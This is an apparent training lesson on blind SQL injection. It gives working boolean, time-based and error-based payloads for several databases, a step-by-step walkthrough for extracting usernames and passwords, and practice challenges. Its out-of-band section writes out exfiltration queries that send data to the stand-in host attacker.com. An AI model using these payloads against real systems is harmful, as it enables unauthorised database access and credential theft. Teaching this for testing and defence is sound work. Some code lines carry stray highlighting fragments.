Blind SQL Injection

intermediate40 minWriteup

Exploit SQL injection when no direct output is visible using boolean and time-based techniques

Learning Objectives

  • Understand boolean-based blind SQL injection
  • Master time-based blind SQL injection
  • Extract data character by character
  • Automate blind SQL injection attacks

Hacking in the Dark

So far, we've been spoiled. Error messages telling us exactly what went wrong. Query results displayed right on the page. It's been like taking a test with the answer key right next to you.

But real-world applications often hide their errors. Custom error pages. Generic "Something went wrong" messages. No visible output at all. This is where blind SQL injectioncomes in - extracting data when you can't see the results directly.

It's like playing 20 Questions with a database. You ask yes/no questions and slowly piece together the answers from how the application behaves.

Blind SQLi is slower than UNION-based attacks (we're extracting one bit of information at a time), but it works on applications that would otherwise seem secure. It's essential knowledge for any serious security tester.

Two Types of Blind SQLi

There are two main approaches to blind SQL injection:

1. Boolean-Based Blind SQLi

The application behaves differently based on whether your injected condition is TRUE or FALSE. Maybe it shows different content, returns a different status code, or changes in some subtle way.

2. Time-Based Blind SQLi

The application doesn't visibly change at all, but you can inject time delays. If your condition is TRUE, the page takes 5 seconds to load. If FALSE, it loads instantly. Slow and painful, but it works.

Boolean-Based Blind SQLi

Let's say you're testing a product page that takes an ID:

1https:606070;">//shop.example.com/product?id=5
2 
3When product exists: Shows product details
4When product doesn't exist: Shows 606070;">#a5d6ff;">"Product not found"

The backend query might be:

sql
1SELECT * FROM products WHERE id = [input]

Confirming the Vulnerability

First, let's confirm we can inject boolean conditions:

1606070;"># True condition - should show the product
2?id=5 AND 1=1
3 
4606070;"># False condition - should show "Product not found"
5?id=5 AND 1=2
6 
7606070;"># If these behave differently, we have blind SQLi!
Use responsibly
5 AND 1=1
Use responsibly
5 AND 1=2

Extracting Data One Bit at a Time

Now the fun part. We can ask the database yes/no questions:

sql
1-- Is the first character of the database name 606070;">#a5d6ff;">'m'?
25 AND SUBSTRING(database(),1,1)=606070;">#a5d6ff;">'m'
3 
4-- If TRUE: product shows (we know first char is 606070;">#a5d6ff;">'m')
5-- If FALSE: product not found (first char is NOT 606070;">#a5d6ff;">'m')
6 
7-- Better: Use ASCII codes to binary search
85 AND ASCII(SUBSTRING(database(),1,1)) > 96 -- Is it lowercase?
95 AND ASCII(SUBSTRING(database(),1,1)) > 109 -- Is it > 606070;">#a5d6ff;">'m'?
105 AND ASCII(SUBSTRING(database(),1,1)) > 115 -- Is it > 606070;">#a5d6ff;">'s'?
11-- etc.
Binary search is key to efficiency! Instead of trying all 26 letters, you can find any character in 7 comparisons (log₂ 128). For a 10- character database name, that's 70 requests instead of 260.

Practical Extraction Example

sql
1-- Is the database name 606070;">#a5d6ff;">'shop_db'?
2-- First, find the length:
35 AND LENGTH(database())=7 -- Is it 7 characters?
4 
5-- Then extract character by character:
65 AND SUBSTRING(database(),1,1)=606070;">#a5d6ff;">'s' -- First char is 's'?
75 AND SUBSTRING(database(),2,1)=606070;">#a5d6ff;">'h' -- Second char is 'h'?
85 AND SUBSTRING(database(),3,1)=606070;">#a5d6ff;">'o' -- Third char is 'o'?
9-- ... and so on
10 
11-- More efficient with ASCII:
125 AND ASCII(SUBSTRING(database(),1,1))=115 -- 606070;">#a5d6ff;">'s' = ASCII 115
135 AND ASCII(SUBSTRING(database(),2,1))=104 -- 606070;">#a5d6ff;">'h' = ASCII 104

Time-Based Blind SQLi

What if the page always looks exactly the same? No difference between true and false conditions? That's when we bring out the heavy artillery: time delays.

The Basic Concept

sql
1-- MySQL: Sleep for 5 seconds if condition is true
25; IF(1=1, SLEEP(5), 0)--
3 
4-- Or using BENCHMARK:
55 AND BENCHMARK(10000000, SHA1(606070;">#a5d6ff;">'test'))
6 
7-- PostgreSQL: pg_sleep
85; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
9 
10-- MSSQL: WAITFOR DELAY
115; IF (1=1) WAITFOR DELAY 606070;">#a5d6ff;">'0:0:5'--
12 
13-- Oracle: Heavy calculation
145 AND 1=DBMS_PIPE.RECEIVE_MESSAGE(606070;">#a5d6ff;">'x',5)
Use responsibly
5 AND IF(1=1, SLEEP(5), 0)-- -
Use responsibly
5 AND IF(1=2, SLEEP(5), 0)-- -
Time-based SQLi is very slow. If you're extracting 100 characters with a 3-second delay and ~7 requests per character, that's over 35 minutes. Use it as a last resort or automate it!

Extracting Data with Time

sql
1-- MySQL: Extract database name using time delays
2-- Is first character 606070;">#a5d6ff;">'s'? (If yes, page takes 5 seconds)
35 AND IF(SUBSTRING(database(),1,1)=606070;">#a5d6ff;">'s', SLEEP(5), 0)-- -
4 
5-- Binary search version:
65 AND IF(ASCII(SUBSTRING(database(),1,1))>109, SLEEP(5), 0)-- -
7 
8-- Full extraction of first character:
95 AND IF(ASCII(SUBSTRING(database(),1,1))>96, SLEEP(3), 0)-- - -- > 96? (lowercase?)
105 AND IF(ASCII(SUBSTRING(database(),1,1))>112, SLEEP(3), 0)-- - -- > 112?
115 AND IF(ASCII(SUBSTRING(database(),1,1))>120, SLEEP(3), 0)-- - -- > 120?
12-- Narrow down until you find the exact character

Network Delays vs. SQL Delays

Here's a gotcha: network latency can mess with your results. If the normal page load is 500ms but varies up to 2 seconds, how do you know if a 2-second response is "TRUE" or just slow?

Use longer delays (5-10 seconds) to be safe. Also, run each test multiple times and average the results. Or use "greater than" logic: if the page takes >3 seconds, consider it TRUE.

Full Extraction Example: Getting Usernames

Let's walk through extracting actual data from a users table using boolean-based blind SQLi:

Extracting Admin Password

1
Confirm Injection PointTest TRUE and FALSE conditions:
?id=1 AND 1=1 → Shows product
?id=1 AND 1=2 → Product not found
2
Find Table NameCheck if a 'users' table exists:
?id=1 AND (SELECT COUNT(*) FROM users)>0
If TRUE, 'users' table exists!
3
Find Username Length?id=1 AND (SELECT LENGTH(username) FROM users WHERE id=1)=5
Try different numbers until you get TRUE.
4
Extract Username Character by Character?id=1 AND SUBSTRING((SELECT username FROM users WHERE id=1),1,1)='a'
?id=1 AND SUBSTRING((SELECT username FROM users WHERE id=1),2,1)='d'
?id=1 AND SUBSTRING((SELECT username FROM users WHERE id=1),3,1)='m'
Build up: "adm..."
5
Extract PasswordSame process but for the password column:
?id=1 AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='$'
(Passwords are usually hashed, so expect characters like $2a$10$...)
In practice, you'd use a script or tool to automate this. Manually extracting even a 20-character password would take hundreds of requests!

Bonus: Conditional Error-Based Blind SQLi

Sometimes you can trigger database errors on purpose. If TRUE causes an error but FALSE doesn't (or vice versa), you can use this as another blind channel:

sql
1-- Cause a divide-by-zero error if condition is true
25 AND IF(SUBSTRING(database(),1,1)=606070;">#a5d6ff;">'s', 1/0, 1)-- -
3 
4-- MySQL: Trigger error with EXTRACTVALUE
55 AND EXTRACTVALUE(1, IF(SUBSTRING(database(),1,1)=606070;">#a5d6ff;">'s', ':error', 'valid'))-- -
6 
7-- PostgreSQL: Cast error
85 AND CAST((SELECT CASE WHEN SUBSTRING(database(),1,1)=606070;">#a5d6ff;">'s' THEN 'a' ELSE '1' END) AS int)--

If you see an error page when the condition is true but a normal page when false, you've got another method to extract data!

Out-of-Band (OOB) Techniques

When all else fails, some databases can make external connections. You can make the database "call home" with the data you want:

sql
1-- MySQL: DNS exfiltration (requires LOAD_FILE permissions)
25 UNION SELECT LOAD_FILE(CONCAT(606070;">#a5d6ff;">'\\\\', database(), '.attacker.com\\share'))-- -
3 
4-- MSSQL: xp_dirtree
55; EXEC master..xp_dirtree 606070;">#a5d6ff;">'\\attacker.com\' + db_name() + '.txt'-- -
6 
7-- Oracle: UTL_HTTP
85 AND UTL_HTTP.REQUEST(606070;">#a5d6ff;">'http://attacker.com/'||database())=0-- -
Out-of-band techniques require specific database permissions and network configurations. They're also loud - they create external connections that firewalls and security tools may detect. Use with caution!

Practice: Boolean Blind Injection

Extract the Secret
text

A page is vulnerable to boolean-based blind SQLi. The query is: SELECT * FROM products WHERE id = [input] AND status = 'active' When the product exists and the condition is TRUE: page shows "Product found" When the condition is FALSE or product doesn't exist: page shows "Not found" You want to extract the first character of the database name. Write a payload that will return TRUE if the first character is 'a'. The database is MySQL.

The Slow Heist

Challenge
🔥 medium

You've found a login page vulnerable to time-based blind SQLi. The query is: SELECT * FROM users WHERE username = '[input]' AND password = '[password]' The page always shows "Invalid credentials" whether the query succeeds or fails. There are no visible differences. But you've confirmed SLEEP() works! Write a payload to extract the first character of the admin's password. The admin username is 'administrator' and the database is MySQL.

Need a hint? (4 available)

Stealth Extraction

Challenge
💀 hard

You've got boolean-based blind SQLi working, but you want to be efficient. You need to extract a 32-character MD5 hash (admin password) from the 'credentials' table. MD5 hashes contain characters 0-9 and a-f only. Calculate: What's the minimum number of requests needed to extract the full hash using optimal binary search? Then write the most efficient payload strategy.

Need a hint? (4 available)

Blind SQLi Quiz
Question 1 of 5

What makes SQLi 'blind'?

Key Takeaways

  • Blind SQLi works when you can't see query results directly
  • Boolean-based: response differs for TRUE vs FALSE conditions
  • Time-based: inject SLEEP() and measure response time
  • Use binary search to minimize requests (log₂ instead of linear)
  • SUBSTRING() and ASCII() are your best friends for character extraction
  • Time-based is slow - use 5+ second delays and average results
  • Automate with scripts or tools like SQLMap for practical attacks

Continue Learning